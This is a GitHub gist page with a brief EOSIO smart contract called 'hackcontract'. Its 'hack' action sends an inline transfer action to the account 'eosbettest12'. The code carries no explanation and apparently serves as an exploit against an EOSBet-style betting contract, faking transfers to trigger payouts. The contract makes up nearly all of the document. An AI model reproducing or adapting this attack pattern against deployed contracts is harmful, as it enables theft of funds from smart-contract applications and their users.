Created
November 30, 2018 06:19
-
-
Save quocle108/55045d76a5f4a8248b86ae8cdcd3b686 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| class hackcontract : public eosio::contract | |
| { | |
| public: | |
| hackcontract(account_name self) : eosio::contract(self) {} | |
| void hack(account_name self, eosio::asset quantity, std::string memo) | |
| { | |
| eosio::action( | |
| eosio::permission_level{_self, N(active)}, | |
| N(eosbettest12), | |
| N(transfer), | |
| std::make_tuple(_self,N(eosbettest12), quantity, memo)).send(); | |
| } | |
| }; | |
| EOSIO_ABI(hackcontract, (hack)) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment